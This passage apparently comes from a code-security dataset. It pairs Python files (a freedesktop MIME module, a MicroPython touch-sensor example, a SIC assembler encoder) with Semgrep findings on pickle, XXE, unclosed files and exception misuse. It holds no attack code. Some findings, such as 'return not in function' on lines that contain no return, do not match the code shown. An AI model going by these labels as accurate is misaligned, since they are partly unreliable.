"column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e2569b74f84f5922.py", "start": {"line": 115, "col": 5, "offset": 2995}, "end": {"line": 115, "col": 29, "offset": 3019}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 107, 111, 115 ]
[ 107, 111, 115 ]
[ 5, 5, 5 ]
[ 29, 30, 29 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
scikit-titanic.py
/archive/notebooks/scikit-titanic.py
benc-uk/batcomputer
MIT
2024-11-18T18:16:14.418691+00:00
1,476,576,743,000
a292a6051cbeaec96155366fa63d875b27e8a0f4
2
{ "blob_id": "a292a6051cbeaec96155366fa63d875b27e8a0f4", "branch_name": "refs/heads/master", "committer_date": 1476576743000, "content_id": "c24794d8637801e8eb8e67ebe9c29650def6f3d9", "detected_licenses": [ "MIT" ], "directory_id": "7f89fb972c346b73fbcadbe7a682a75f9143dd72", "extension": "py", "filename": "Mime.py", "fork_events_count": 0, "gha_created_at": 1476613129000, "gha_event_created_at": 1476613129000, "gha_language": null, "gha_license_id": null, "github_id": 71043038, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14070, "license": "MIT", "license_type": "permissive", "path": "/AppDirAssistant.AppDir/usr/bin/AppImageKit/xxdg/Mime.py", "provenance": "stack-edu-0054.json.gz:569186", "repo_name": "hideout/AppImageKit", "revision_date": 1476576743000, "revision_id": "42453e26db07f6835dd7bf3376c7e94cffc88835", "snapshot_id": "8979e25f471c5fd458fb3a861dc7eb635a398874", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/hideout/AppImageKit/42453e26db07f6835dd7bf3376c7e94cffc88835/AppDirAssistant.AppDir/usr/bin/AppImageKit/xxdg/Mime.py", "visit_date": "2021-01-11T18:18:57.885140" }
2.359375
stackv2
""" This module is based on a rox module (LGPL): http://cvs.sourceforge.net/viewcvs.py/rox/ROX-Lib2/python/rox/mime.py?rev=1.21&view=log This module provides access to the shared MIME database. types is a dictionary of all known MIME types, indexed by the type name, e.g. types['application/x-python'] Applications can install information about MIME types by storing an XML file as <MIME>/packages/<application>.xml and running the update-mime-database command, which is provided by the freedesktop.org shared mime database package. See http://www.freedesktop.org/standards/shared-mime-info-spec/ for information about the format of these files. (based on version 0.13) """ import os import stat import fnmatch import xdg.BaseDirectory import xdg.Xocale from xml.dom import Node, minidom, XML_NAMESPACE FREE_NS = 'http://www.freedesktop.org/standards/shared-mime-info' types = {} # Maps MIME names to type objects exts = None # Maps extensions to types globs = None # List of (glob, type) pairs literals = None # Maps liternal names to types magic = None def _get_node_data(node): """Get text of XML node""" return ''.join([n.nodeValue for n in node.childNodes]).strip() def lookup(media, subtype = None): "Get the MIMEtype object for this type, creating a new one if needed." if subtype is None and '/' in media: media, subtype = media.split('/', 1) if (media, subtype) not in types: types[(media, subtype)] = MIMEtype(media, subtype) return types[(media, subtype)] class MIMEtype: """Type holding data about a MIME type""" def __init__(self, media, subtype): "Don't use this constructor directly; use mime.lookup() instead." assert media and '/' not in media assert subtype and '/' not in subtype assert (media, subtype) not in types self.media = media self.subtype = subtype self._comment = None def _load(self): "Loads comment for current language. Use get_comment() instead." resource = os.path.join('mime', self.media, self.subtype + '.xml') for path in xdg.BaseDirectory.load_data_paths(resource): doc = minidom.parse(path) if doc is None: continue for comment in doc.documentElement.getElementsByTagNameNS(FREE_NS, 'comment'): lang = comment.getAttributeNS(XML_NAMESPACE, 'lang') or 'en' goodness = 1 + (lang in xdg.Xocale.langs) if goodness > self._comment[0]: self._comment = (goodness, _get_node_data(comment)) if goodness == 2: return # FIXME: add get_icon method def get_comment(self): """Returns comment for current language, loading it if needed.""" # Should we ever reload? if self._comment is None: self._comment = (0, str(self)) self._load() return self._comment[1] def __str__(self): return self.media + '/' + self.subtype def __repr__(self): return '[%s: %s]' % (self, self._comment or '(comment not loaded)') class MagicRule: def __init__(self, f): self.next=None self.prev=None #print line ind='' while True: c=f.read(1) if c=='>': break ind+=c if not ind: self.nest=0 else: self.nest=int(ind) start='' while True: c=f.read(1) if c=='=': break start+=c self.start=int(start) hb=f.read(1) lb=f.read(1) self.lenvalue=ord(lb)+(ord(hb)<<8) self.value=f.read(self.lenvalue) c=f.read(1) if c=='&': self.mask=f.read(self.lenvalue) c=f.read(1) else: self.mask=None if c=='~': w='' while c!='+' and c!='\n': c=f.read(1) if c=='+' or c=='\n': break w+=c self.word=int(w) else: self.word=1 if c=='+': r='' while c!='\n': c=f.read(1) if c=='\n': break r+=c #print r self.range=int(r) else: self.range=1 if c!='\n': raise 'Malformed MIME magic line' def getLength(self): return self.start+self.lenvalue+self.range def appendRule(self, rule): if self.nest<rule.nest: self.next=rule rule.prev=self elif self.prev: self.prev.appendRule(rule) def match(self, buffer): if self.match0(buffer): if self.next: return self.next.match(buffer) return True def match0(self, buffer): l=len(buffer) for o in range(self.range): s=self.start+o e=s+self.lenvalue if l<e: return False if self.mask: test='' for i in range(self.lenvalue): c=ord(buffer[s+i]) & ord(self.mask[i]) test+=chr(c) else: test=buffer[s:e] if test==self.value: return True def __repr__(self): return '<MagicRule %d>%d=[%d]%s&%s~%d+%d>' % (self.nest, self.start, self.lenvalue, `self.value`, `self.mask`, self.word, self.range) class MagicType: def __init__(self, mtype): self.mtype=mtype self.top_rules=[] self.last_rule=None def getLine(self, f): nrule=MagicRule(f) if nrule.nest and self.last_rule: self.last_rule.appendRule(nrule) else: self.top_rules.append(nrule) self.last_rule=nrule return nrule def match(self, buffer): for rule in self.top_rules: if rule.match(buffer): return self.mtype def __repr__(self): return '<MagicType %s>' % self.mtype class MagicDB: def __init__(self): self.types={} # Indexed by priority, each entry is a list of type rules self.maxlen=0 def mergeFile(self, fname): f=file(fname, 'r') line=f.readline() if line!='MIME-Magic\0\n': raise 'Not a MIME magic file' while True: shead=f.readline() #print shead if not shead: break if shead[0]!='[' or shead[-2:]!=']\n': raise 'Malformed section heading' pri, tname=shead[1:-2].split(':') #print shead[1:-2] pri=int(pri) mtype=lookup(tname) try: ents=self.types[pri] except: ents=[] self.types[pri]=ents magictype=MagicType(mtype) #print tname #rline=f.readline() c=f.read(1) f.seek(-1, 1) while c and c!='[': rule=magictype.getLine(f) #print rule if rule and rule.getLength()>self.maxlen: self.maxlen=rule.getLength() c=f.read(1) f.seek(-1, 1) ents.append(magictype) #self.types[pri]=ents if not c: break def match_data(self, data, max_pri=100, min_pri=0): pris=self.types.keys() pris.sort(lambda a, b: -cmp(a, b)) for pri in pris: #print pri, max_pri, min_pri if pri>max_pri: continue if pri<min_pri: break for type in self.types[pri]: m=type.match(data) if m: return m def match(self, path, max_pri=100, min_pri=0): try: buf=file(path, 'r').read(self.maxlen) return self.match_data(buf, max_pri, min_pri) except: pass return None def __repr__(self): return '<MagicDB %s>' % self.types # Some well-known types text = lookup('text', 'plain') inode_block = lookup('inode', 'blockdevice') inode_char = lookup('inode', 'chardevice') inode_dir = lookup('inode', 'directory') inode_fifo = lookup('inode', 'fifo') inode_socket = lookup('inode', 'socket') inode_symlink = lookup('inode', 'symlink') inode_door = lookup('inode', 'door') app_exe = lookup('application', 'executable') _cache_uptodate = False def _cache_database(): global exts, globs, literals, magic, _cache_uptodate _cache_uptodate = True exts = {} # Maps extensions to types globs = [] # List of (glob, type) pairs literals = {} # Maps liternal names to types magic = MagicDB() def _import_glob_file(path): """Loads name matching information from a MIME directory.""" for line in file(path): if line.startswith('#'): continue line = line[:-1] type_name, pattern = line.split(':', 1) mtype = lookup(type_name) if pattern.startswith('*.'): rest = pattern[2:] if not ('*' in rest or '[' in rest or '?' in rest): exts[rest] = mtype continue if '*' in pattern or '[' in pattern or '?' in pattern: globs.append((pattern, mtype)) else: literals[pattern] = mtype for path in xdg.BaseDirectory.load_data_paths(os.path.join('mime', 'globs')): _import_glob_file(path) for path in xdg.BaseDirectory.load_data_paths(os.path.join('mime', 'magic')): magic.mergeFile(path) # Sort globs by length globs.sort(lambda a, b: cmp(len(b[0]), len(a[0]))) def get_type_by_name(path): """Returns type of file by its name, or None if not known""" if not _cache_uptodate: _cache_database() leaf = os.path.basename(path) if leaf in literals: return literals[leaf] lleaf = leaf.lower() if lleaf in literals: return literals[lleaf] ext = leaf while 1: p = ext.find('.') if p < 0: break ext = ext[p + 1:] if ext in exts: return exts[ext] ext = lleaf while 1: p = ext.find('.') if p < 0: break ext = ext[p+1:] if ext in exts: return exts[ext] for (glob, mime_type) in globs: if fnmatch.fnmatch(leaf, glob): return mime_type if fnmatch.fnmatch(lleaf, glob): return mime_type return None def get_type_by_contents(path, max_pri=100, min_pri=0): """Returns type of file by its contents, or None if not known""" if not _cache_uptodate: _cache_database() return magic.match(path, max_pri, min_pri) def get_type_by_data(data, max_pri=100, min_pri=0): """Returns type of the data""" if not _cache_uptodate: _cache_database() return magic.match_data(data, max_pri, min_pri) def get_type(path, follow=1, name_pri=100): """Returns type of file indicated by path. path - pathname to check (need not exist) follow - when reading file, follow symbolic links name_pri - Priority to do name matches. 100=override magic""" if not _cache_uptodate: _cache_database() try: if follow: st = os.stat(path) else: st = os.lstat(path) except: t = get_type_by_name(path) return t or text if stat.S_ISREG(st.st_mode): t = get_type_by_contents(path, min_pri=name_pri) if not t: t = get_type_by_name(path) if not t: t = get_type_by_contents(path, max_pri=name_pri) if t is None: if stat.S_IMODE(st.st_mode) & 0111: return app_exe else: return text return t elif stat.S_ISDIR(st.st_mode): return inode_dir elif stat.S_ISCHR(st.st_mode): return inode_char elif stat.S_ISBLK(st.st_mode): return inode_block elif stat.S_ISFIFO(st.st_mode): return inode_fifo elif stat.S_ISLNK(st.st_mode): return inode_symlink elif stat.S_ISSOCK(st.st_mode): return inode_socket return inode_door def install_mime_info(application, package_file): """Copy 'package_file' as ~/.local/share/mime/packages/<application>.xml. If package_file is None, install <app_dir>/<application>.xml. If already installed, does nothing. May overwrite an existing file with the same name (if the contents are different)""" application += '.xml' new_data = file(package_file).read() # See if the file is already installed package_dir = os.path.join('mime', 'packages') resource = os.path.join(package_dir, application) for x in xdg.BaseDirectory.load_data_paths(resource): try: old_data = file(x).read() except: continue if old_data == new_data: return # Already installed global _cache_uptodate _cache_uptodate = False # Not already installed; add a new copy # Create the directory structure... new_file = os.path.join(xdg.BaseDirectory.save_data_path(package_dir), application) # Write the file... file(new_file, 'w').write(new_data) # Update the database... command = 'update-mime-database' if os.spawnlp(os.P_WAIT, command, command, xdg.BaseDirectory.save_data_path('mime')): os.unlink(new_file) raise Exception("The '%s' command returned an error code!\n" \ "Make sure you have the freedesktop.org shared MIME package:\n" \ "http://standards.freedesktop.org/shared-mime-info/") % command
474
28.68
90
19
3,347
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_522776996d096cd6_c88a1708", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 1, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/522776996d096cd6.py", "start": {"line": 29, "col": 1, "offset": 763}, "end": {"line": 29, "col": 49, "offset": 811}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.exceptions.raise-not-base-exception_522776996d096cd6_60bfb2d5", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "remediation": "", "location": {"file_path": "unknown", "line_start": 156, "line_end": 156, "column_start": 13, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "path": "/tmp/tmpb8jm_z1l/522776996d096cd6.py", "start": {"line": 156, "col": 13, "offset": 4443}, "end": {"line": 156, "col": 46, "offset": 4476}, "extra": {"message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.exceptions.raise-not-base-exception_522776996d096cd6_3575cf78", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "remediation": "", "location": {"file_path": "unknown", "line_start": 237, "line_end": 237, "column_start": 13, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "path": "/tmp/tmpb8jm_z1l/522776996d096cd6.py", "start": {"line": 237, "col": 13, "offset": 6635}, "end": {"line": 237, "col": 42, "offset": 6664}, "extra": {"message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.exceptions.raise-not-base-exception_522776996d096cd6_be55925b", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "remediation": "", "location": {"file_path": "unknown", "line_start": 245, "line_end": 245, "column_start": 17, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "path": "/tmp/tmpb8jm_z1l/522776996d096cd6.py", "start": {"line": 245, "col": 17, "offset": 6857}, "end": {"line": 245, "col": 50, "offset": 6890}, "extra": {"message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 29 ]
[ 29 ]
[ 1 ]
[ 49 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
Mime.py
/AppDirAssistant.AppDir/usr/bin/AppImageKit/xxdg/Mime.py
hideout/AppImageKit
MIT
2024-11-18T18:16:14.522090+00:00
1,581,658,101,000
abfde7127ad54fc2a3afdf8b71b7487fc7db9c44
3
{ "blob_id": "abfde7127ad54fc2a3afdf8b71b7487fc7db9c44", "branch_name": "refs/heads/master", "committer_date": 1581658101000, "content_id": "548abe47842f016ed16b8ebb24799d4eefc1f22e", "detected_licenses": [ "MIT" ], "directory_id": "904787fa15ef9bde82f8b6202458ba05e62acec7", "extension": "py", "filename": "irq-key-down.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 648, "license": "MIT", "license_type": "permissive", "path": "/examples/irq-key-down/irq-key-down.py", "provenance": "stack-edu-0054.json.gz:569188", "repo_name": "Jerry233333/micropython-mpr121", "revision_date": 1581658101000, "revision_id": "0066ef51a6c7fc16b3f9b210e2c81349caefbb0f", "snapshot_id": "b0e39e1fa5540df93f1e6a865f716e41d8323ba7", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/Jerry233333/micropython-mpr121/0066ef51a6c7fc16b3f9b210e2c81349caefbb0f/examples/irq-key-down/irq-key-down.py", "visit_date": "2023-04-22T05:31:02.839145" }
3.015625
stackv2
""" Prints "Key n pressed" on key down. Prints duplicates when multiple key are pressed. The interrupt fires when any key is pressed or released. Without storing previous state, on the n+1th key down all keys are treated as just pressed. """ import mpr121 from machine import Pin, I2C i2c = I2C(3) # stm32 #i2c = I2C(scl=Pin(5), sda=Pin(4)) # esp8266 #i2c = I2C(scl=Pin(22), sda=Pin(21)) # esp32 mpr = mpr121.MPR121(i2c) # check keys one by one def handler(p): for i in range(12): if mpr.is_touched(i): print('Key {} pressed'.format(i)) d3 = Pin('D3', Pin.IN, Pin.PULL_UP) d3.irq(lambda p:handler(p), Pin.IRQ_FALLING)
26
23.92
74
14
232
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_b1c6a62d756d223d_8cfd38b5", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 17, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/b1c6a62d756d223d.py", "start": {"line": 26, "col": 17, "offset": 619}, "end": {"line": 26, "col": 27, "offset": 629}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 26 ]
[ 26 ]
[ 17 ]
[ 27 ]
[ "" ]
[ "`return` only makes sense inside a function" ]
[ 5 ]
[ "" ]
[ "" ]
irq-key-down.py
/examples/irq-key-down/irq-key-down.py
Jerry233333/micropython-mpr121
MIT
2024-11-18T19:31:06.300677+00:00
1,421,141,490,000
bba72cffe2f345638792421a4e169ee578cebdb1
3
{ "blob_id": "bba72cffe2f345638792421a4e169ee578cebdb1", "branch_name": "refs/heads/master", "committer_date": 1421141490000, "content_id": "29919e8261473ea6c8067eb149b3fc95d296d2f4", "detected_licenses": [ "MIT" ], "directory_id": "9c606d5b2ff5a56f5a6c033eacbb4c6d0d0df4cd", "extension": "py", "filename": "instructions.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 26893638, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1630, "license": "MIT", "license_type": "permissive", "path": "/sic_assembler/instructions.py", "provenance": "stack-edu-0054.json.gz:569203", "repo_name": "amritkrs/SIC-ASSEMBLER", "revision_date": 1421141490000, "revision_id": "5ac3336588f3ae954f1479b78b6bd9448ba7e282", "snapshot_id": "197ae429a37f68601e98aa494f53f5e627b22eb9", "src_encoding": "UTF-8", "star_events_count": 2, "url": "https://raw.githubusercontent.com/amritkrs/SIC-ASSEMBLER/5ac3336588f3ae954f1479b78b6bd9448ba7e282/sic_assembler/instructions.py", "visit_date": "2020-04-19T21:52:06.275211" }
2.71875
stackv2
import json from errors import LineFieldsError def get_dict(): f = open('json_dict','r') return json.load(f) op_table = get_dict() registers_table = {'A': 0, 'X': 1, 'L': 2, 'PC': 8, "SW": 9 } #indexed addressing indexed = lambda x: str(x).endswith(',X') class SicFormat(): """sic format 8 1 15 =================================== |op |x| disp | =================================== """ def __init__(self,symtab,source_line): self._symtab = symtab self._line_number = source_line.line_number self._mnemonic = source_line.mnemonic self._location = None; self._disp = source_line.operand self._content = source_line def generate(self): """generate the object code for the instruction""" if self._mnemonic is None: raise LineFieldsError(message = "mnemonic was not specified") output = "" #opcode opcode_lookup = str(op_table[self._mnemonic]) if self._disp is not None: if indexed(self._disp): self._disp = self._disp[:len(self._disp)-2] symbol_address = self._symtab.get(self._disp) modified_symbol_address = int(str(symbol_address),16) + 32768 symbol_address = str(hex(modified_symbol_address))[2:] else: symbol_address = self._symtab.get(self._content.operand)[2:] else: symbol_address = '0000' output = opcode_lookup + symbol_address hex_output = hex(int(str(output),16))[2:].zfill(6).upper() return self._mnemonic, self._disp, hex_output def to_binary(hex_string): return bin(int(str(hex_string),16))[2:]
64
24.47
65
19
441
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_c469a1250c66cf51_4b3476aa", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 5, "line_end": 5, "column_start": 2, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpb8jm_z1l/c469a1250c66cf51.py", "start": {"line": 5, "col": 2, "offset": 66}, "end": {"line": 5, "col": 27, "offset": 91}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_c469a1250c66cf51_f533a801", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 5, "line_end": 5, "column_start": 6, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/c469a1250c66cf51.py", "start": {"line": 5, "col": 6, "offset": 70}, "end": {"line": 5, "col": 27, "offset": 91}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_c469a1250c66cf51_1a3f9f19", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 21, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/c469a1250c66cf51.py", "start": {"line": 19, "col": 21, "offset": 335}, "end": {"line": 19, "col": 42, "offset": 356}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "" ]
[ "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 19 ]
[ 19 ]
[ 21 ]
[ 42 ]
[ "" ]
[ "`return` only makes sense inside a function" ]
[ 5 ]
[ "" ]
[ "" ]
instructions.py
/sic_assembler/instructions.py
amritkrs/SIC-ASSEMBLER
MIT
2024-11-18T19:31:06.911050+00:00
1,689,234,174,000
91fd019be600fc0b587711b10c6639c9ef7fe3ab
2
{ "blob_id": "91fd019be600fc0b587711b10c6639c9ef7fe3ab", "branch_name": "refs/heads/master", "committer_date": 1689234174000, "content_id": "e9e6b93871ea59cec6cf7b76c47341f9c39d4709", "detected_licenses": [ "MIT" ], "directory_id": "f250267b20972b9f8d50c60a89dda36e7ccfc1b3", "extension": "py", "filename": "ExtractFromDrugbank.py", "fork_events_count": 4, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 256737128, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2400, "license": "MIT", "license_type": "permissive", "path": "/py_work/spider/xml/ExtractFromDrugbank.py", "provenance": "stack-edu-0054.json.gz:569210", "repo_name": "kotori-y/kotori_work", "revision_date": 1689234174000, "revision_id": "2c1e0c7ce906f9585b6b665759f909020bd15682", "snapshot_id": "372f0ea96a973570c171c3743a7fd8f94ffcb1d1", "src_encoding": "UTF-8", "star_events_count": 7, "url": "https://raw.githubusercontent.com/kotori-y/kotori_work/2c1e0c7ce906f9585b6b665759f909020bd15682/py_work/spider/xml/ExtractFromDrugbank.py", "visit_date": "2023-07-20T16:33:12.909696" }
2.40625
stackv2
